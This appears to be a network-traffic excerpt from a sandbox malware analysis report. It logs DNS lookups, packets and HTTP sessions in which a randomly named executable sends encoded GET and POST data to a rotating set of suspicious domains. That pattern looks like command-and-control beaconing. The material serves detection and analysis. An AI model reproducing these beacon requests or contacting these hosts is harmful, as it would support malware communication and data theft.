Nov 5, 2024 15:24:23.357059002 CET	55739	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:23.361681938 CET	55739	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:23.366547108 CET	80	55739	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:28.445406914 CET	55740	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:28.450330973 CET	80	55740	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:28.450428963 CET	55740	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:28.463275909 CET	55740	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:28.468439102 CET	80	55740	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:29.117005110 CET	80	55740	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:29.154464006 CET	80	55740	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:29.154608965 CET	55740	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:29.964831114 CET	55740	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:30.983603954 CET	55741	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:30.989000082 CET	80	55741	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:30.989176035 CET	55741	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:31.001791954 CET	55741	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:31.006946087 CET	80	55741	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:31.683357954 CET	80	55741	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:31.721051931 CET	80	55741	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:31.721129894 CET	55741	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:32.511883974 CET	55741	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:33.531801939 CET	55742	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:33.537313938 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.539829016 CET	55742	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:33.551889896 CET	55742	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:33.557034016 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557157040 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557167053 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557176113 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557650089 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557660103 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557795048 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557804108 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:33.557811975 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:34.222491980 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:34.222570896 CET	80	55742	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:34.222625017 CET	55742	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:35.058634996 CET	55742	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:36.078192949 CET	55743	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:36.083198071 CET	80	55743	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:36.083278894 CET	55743	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:36.092660904 CET	55743	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:36.097656012 CET	80	55743	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:36.741720915 CET	80	55743	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:36.778269053 CET	80	55743	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:36.778517962 CET	55743	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:36.779473066 CET	55743	80	192.168.2.4	172.96.187.60
Nov 5, 2024 15:24:36.784535885 CET	80	55743	172.96.187.60	192.168.2.4
Nov 5, 2024 15:24:41.893739939 CET	55744	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:41.899352074 CET	80	55744	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:41.899430037 CET	55744	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:41.957206011 CET	55744	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:41.962166071 CET	80	55744	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:42.789812088 CET	80	55744	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:42.789833069 CET	80	55744	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:42.790343046 CET	55744	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:42.920727015 CET	80	55744	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:42.920901060 CET	55744	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:43.465739012 CET	55744	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:44.683803082 CET	55745	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:44.688685894 CET	80	55745	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:44.692817926 CET	55745	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:44.715219021 CET	55745	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:44.720206976 CET	80	55745	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:45.556924105 CET	80	55745	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:45.557122946 CET	80	55745	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:45.557369947 CET	55745	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:45.684079885 CET	80	55745	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:45.684143066 CET	55745	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:46.230537891 CET	55745	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:47.292375088 CET	55746	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:47.298070908 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.298163891 CET	55746	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:47.309850931 CET	55746	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:47.314795971 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.314810991 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.314997911 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.315011978 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.315023899 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.315035105 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.315047026 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.315248966 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:47.315260887 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:48.166568995 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:48.166595936 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:48.166702986 CET	55746	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:48.292777061 CET	80	55746	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:48.292912960 CET	55746	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:48.824285030 CET	55746	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:49.847250938 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:49.852425098 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:49.852499962 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:49.918874025 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:49.924979925 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.688800097 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.688812971 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.688824892 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.688972950 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.689017057 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:50.689110994 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:50.690660000 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.730494976 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:50.815272093 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:50.815408945 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:50.817756891 CET	55747	80	192.168.2.4	161.97.142.144
Nov 5, 2024 15:24:50.822701931 CET	80	55747	161.97.142.144	192.168.2.4
Nov 5, 2024 15:24:55.850836992 CET	55748	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:55.855720997 CET	80	55748	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:55.855782986 CET	55748	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:55.883507013 CET	55748	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:55.888308048 CET	80	55748	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:56.545526981 CET	80	55748	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:56.545696974 CET	55748	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:57.386984110 CET	55748	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:57.392195940 CET	80	55748	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:58.405266047 CET	55749	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:58.410365105 CET	80	55749	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:58.410505056 CET	55749	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:58.420857906 CET	55749	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:58.425734997 CET	80	55749	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:59.099910021 CET	80	55749	13.248.169.48	192.168.2.4
Nov 5, 2024 15:24:59.100061893 CET	55749	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:59.933726072 CET	55749	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:24:59.938705921 CET	80	55749	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.953788996 CET	55750	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:00.958924055 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.959186077 CET	55750	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:00.973829985 CET	55750	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:00.982199907 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982258081 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982347965 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982357979 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982369900 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982378006 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982453108 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982462883 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:00.982470036 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:01.620423079 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:01.620534897 CET	55750	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:02.481129885 CET	55750	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:02.486036062 CET	80	55750	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:03.499699116 CET	55751	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:03.504760981 CET	80	55751	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:03.505903006 CET	55751	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:03.513168097 CET	55751	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:03.518178940 CET	80	55751	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:04.165735006 CET	80	55751	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:04.197984934 CET	80	55751	13.248.169.48	192.168.2.4
Nov 5, 2024 15:25:04.198110104 CET	55751	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:04.199194908 CET	55751	80	192.168.2.4	13.248.169.48
Nov 5, 2024 15:25:04.204318047 CET	80	55751	13.248.169.48	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 15:22:49.659286022 CET	53	52810	162.159.36.2	192.168.2.4
Nov 5, 2024 15:22:50.322916031 CET	53	62370	1.1.1.1	192.168.2.4
Nov 5, 2024 15:22:55.096348047 CET	59939	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:22:55.423834085 CET	53	59939	1.1.1.1	192.168.2.4
Nov 5, 2024 15:23:11.655572891 CET	60539	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:23:11.667706966 CET	53	60539	1.1.1.1	192.168.2.4
Nov 5, 2024 15:23:19.734139919 CET	55952	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:23:19.782898903 CET	53	55952	1.1.1.1	192.168.2.4
Nov 5, 2024 15:23:33.202723026 CET	57537	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:23:33.573404074 CET	53	57537	1.1.1.1	192.168.2.4
Nov 5, 2024 15:23:46.999455929 CET	61529	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:23:47.526007891 CET	53	61529	1.1.1.1	192.168.2.4
Nov 5, 2024 15:24:01.233614922 CET	61806	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:24:01.248641968 CET	53	61806	1.1.1.1	192.168.2.4
Nov 5, 2024 15:24:14.551685095 CET	50074	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:24:14.652101994 CET	53	50074	1.1.1.1	192.168.2.4
Nov 5, 2024 15:24:28.374813080 CET	60846	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:24:28.442543030 CET	53	60846	1.1.1.1	192.168.2.4
Nov 5, 2024 15:24:41.814724922 CET	63295	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:24:41.872518063 CET	53	63295	1.1.1.1	192.168.2.4
Nov 5, 2024 15:24:55.830491066 CET	61422	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:24:55.847809076 CET	53	61422	1.1.1.1	192.168.2.4
Nov 5, 2024 15:25:09.624695063 CET	50533	53	192.168.2.4	1.1.1.1
Nov 5, 2024 15:25:09.664222002 CET	53	50533	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 15:22:55.096348047 CET	192.168.2.4	1.1.1.1	0xaca7	Standard query (0)	www.wcm50.top	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:11.655572891 CET	192.168.2.4	1.1.1.1	0x68fa	Standard query (0)	www.everycreation.shop	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:19.734139919 CET	192.168.2.4	1.1.1.1	0xd6e3	Standard query (0)	www.onemart.site	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:33.202723026 CET	192.168.2.4	1.1.1.1	0x504	Standard query (0)	www.lanxuanz.tech	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:46.999455929 CET	192.168.2.4	1.1.1.1	0x4b3	Standard query (0)	www.komart.shop	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:01.233614922 CET	192.168.2.4	1.1.1.1	0xf14c	Standard query (0)	www.teerra.shop	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:14.551685095 CET	192.168.2.4	1.1.1.1	0xebd5	Standard query (0)	www.dverkom.store	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:28.374813080 CET	192.168.2.4	1.1.1.1	0xbb14	Standard query (0)	www.dalong.site	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:41.814724922 CET	192.168.2.4	1.1.1.1	0x9c0c	Standard query (0)	www.030002304.xyz	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:55.830491066 CET	192.168.2.4	1.1.1.1	0x8909	Standard query (0)	www.polarmuseum.info	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:25:09.624695063 CET	192.168.2.4	1.1.1.1	0x47a4	Standard query (0)	www.growdigitally.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 15:22:55.423834085 CET	1.1.1.1	192.168.2.4	0xaca7	No error (0)	www.wcm50.top	wcm50.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:22:55.423834085 CET	1.1.1.1	192.168.2.4	0xaca7	No error (0)	wcm50.top		154.23.184.60	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:11.667706966 CET	1.1.1.1	192.168.2.4	0x68fa	Name error (3)	www.everycreation.shop	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:19.782898903 CET	1.1.1.1	192.168.2.4	0xd6e3	No error (0)	www.onemart.site		209.74.95.29	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:33.573404074 CET	1.1.1.1	192.168.2.4	0x504	No error (0)	www.lanxuanz.tech	zhs.zohosites.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:23:33.573404074 CET	1.1.1.1	192.168.2.4	0x504	No error (0)	zhs.zohosites.com		136.143.186.12	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:23:47.526007891 CET	1.1.1.1	192.168.2.4	0x4b3	No error (0)	www.komart.shop	komart.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:23:47.526007891 CET	1.1.1.1	192.168.2.4	0x4b3	No error (0)	komart.shop		133.130.35.90	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:01.248641968 CET	1.1.1.1	192.168.2.4	0xf14c	No error (0)	www.teerra.shop	teerra.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:24:01.248641968 CET	1.1.1.1	192.168.2.4	0xf14c	No error (0)	teerra.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:01.248641968 CET	1.1.1.1	192.168.2.4	0xf14c	No error (0)	teerra.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:14.652101994 CET	1.1.1.1	192.168.2.4	0xebd5	No error (0)	www.dverkom.store		31.31.196.17	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:28.442543030 CET	1.1.1.1	192.168.2.4	0xbb14	No error (0)	www.dalong.site	dalong.site		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:24:28.442543030 CET	1.1.1.1	192.168.2.4	0xbb14	No error (0)	dalong.site		172.96.187.60	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:41.872518063 CET	1.1.1.1	192.168.2.4	0x9c0c	No error (0)	www.030002304.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:55.847809076 CET	1.1.1.1	192.168.2.4	0x8909	No error (0)	www.polarmuseum.info		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:24:55.847809076 CET	1.1.1.1	192.168.2.4	0x8909	No error (0)	www.polarmuseum.info		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:25:09.664222002 CET	1.1.1.1	192.168.2.4	0x47a4	No error (0)	www.growdigitally.net	target.flexifunnels.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 15:25:09.664222002 CET	1.1.1.1	192.168.2.4	0x47a4	No error (0)	target.flexifunnels.com		104.16.6.253	A (IP address)	IN (0x0001)	false
Nov 5, 2024 15:25:09.664222002 CET	1.1.1.1	192.168.2.4	0x47a4	No error (0)	target.flexifunnels.com		104.16.7.253	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.wcm50.top

www.onemart.site

www.lanxuanz.tech

www.komart.shop

www.teerra.shop

www.dverkom.store

www.dalong.site

www.030002304.xyz

www.polarmuseum.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	55454	154.23.184.60	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:22:55.444257021 CET	534	OUT	GET /4snq/?zhl=sdH/WbEy6w4fbVGTq9TqooXc2+84tGl6rFb6/eES0khOL/XioS6AKYaJ1BDLndLagFW2QAKxeq+tE1rAXqYu5rfm3z/1IJXzLuu54LPR0VmTOFYhtf9kUlg=&X8Rx1=znhhIbB8nN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.wcm50.top Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:22:56.420778036 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:22:56 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62026-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	55564	209.74.95.29	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:19.800028086 CET	796	OUT	POST /frpa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.onemart.site Origin: http://www.onemart.site Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.onemart.site/frpa/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 37 36 69 66 41 73 73 2f 6f 70 44 71 64 6b 57 6e 49 46 35 6b 61 48 70 5a 4d 50 71 79 4f 36 52 37 55 4b 46 53 4d 37 2f 64 47 2f 6b 6f 42 6d 69 70 4f 55 52 64 61 36 66 54 6e 39 6d 51 7a 4f 44 2f 54 62 55 38 38 79 70 58 76 38 55 6b 50 6c 54 5a 66 35 2b 44 59 76 6b 39 6c 39 50 43 6e 64 66 41 52 57 39 58 33 38 75 37 4b 79 79 4e 74 69 69 73 64 47 7a 64 4c 46 75 70 2b 74 73 66 56 70 78 47 67 4c 62 6f 64 51 54 42 41 41 30 2f 4a 44 2f 49 30 6b 34 4d 61 61 64 56 56 57 71 58 64 71 6d 4e 32 51 75 78 45 4a 39 4f 30 35 34 53 50 70 32 77 31 4f 78 54 74 4e 4a 41 65 51 64 2b 2f 71 66 58 74 67 3d 3d Data Ascii: zhl=76ifAss/opDqdkWnIF5kaHpZMPqyO6R7UKFSM7/dG/koBmipOURda6fTn9mQzOD/TbU88ypXv8UkPlTZf5+DYvk9l9PCndfARW9X38u7KyyNtiisdGzdLFup+tsfVpxGgLbodQTBAA0/JD/I0k4MaadVVWqXdqmN2QuxEJ9O054SPp2w1OxTtNJAeQd+/qfXtg==
Nov 5, 2024 15:23:20.484478951 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:23:20 GMT Server: Apache Content-Length: 13928 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
Nov 5, 2024 15:23:20.484637976 CET	1236	IN	Data Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
Nov 5, 2024 15:23:20.484649897 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61 Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
